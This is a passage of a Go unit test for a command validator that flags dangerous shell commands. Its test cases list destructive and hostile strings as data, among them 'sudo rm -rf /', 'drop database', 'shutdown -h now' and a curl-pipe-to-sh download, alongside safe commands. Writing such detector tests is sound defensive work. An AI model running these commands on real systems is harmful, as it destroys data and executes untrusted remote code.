(t *testing.T)
| 13 | ) |
| 14 | |
| 15 | func TestCommandValidator_IsDangerous(t *testing.T) { |
| 16 | validator := NewCommandValidator(zap.NewNop()) |
| 17 | |
| 18 | testCases := []struct { |
| 19 | name string |
| 20 | command string |
| 21 | expected bool |
| 22 | }{ |
| 23 | {"Sudo rm -rf", "sudo rm -rf /", true}, |
| 24 | {"rm -rf simple", "rm -rf /some/path", true}, |
| 25 | {"rm with spaces", " rm -rf /", true}, |
| 26 | {"Drop database", "drop database my_db", true}, |
| 27 | {"Shutdown command", "shutdown -h now", true}, |
| 28 | {"Curl to sh", "curl http://example.com/script.sh | sh", true}, |
| 29 | {"Safe ls", "ls -la", false}, |
| 30 | {"Safe git status", "git status", false}, |
| 31 | {"Grep for dangerous command", "grep 'rm -rf' my_script.sh", false}, |
| 32 | } |
| 33 | |
| 34 | for _, tc := range testCases { |
| 35 | t.Run(tc.name, func(t *testing.T) { |
| 36 | result := validator.IsDangerous(tc.command) |
| 37 | assert.Equal(t, tc.expected, result, "Command: %s", tc.command) |
| 38 | }) |
| 39 | } |
| 40 | } |
| 41 | |
| 42 | func TestCommandValidator_IsDangerous_NewPatterns(t *testing.T) { |
| 43 | validator := NewCommandValidator(zap.NewNop()) |
nothing calls this directly
no test coverage detected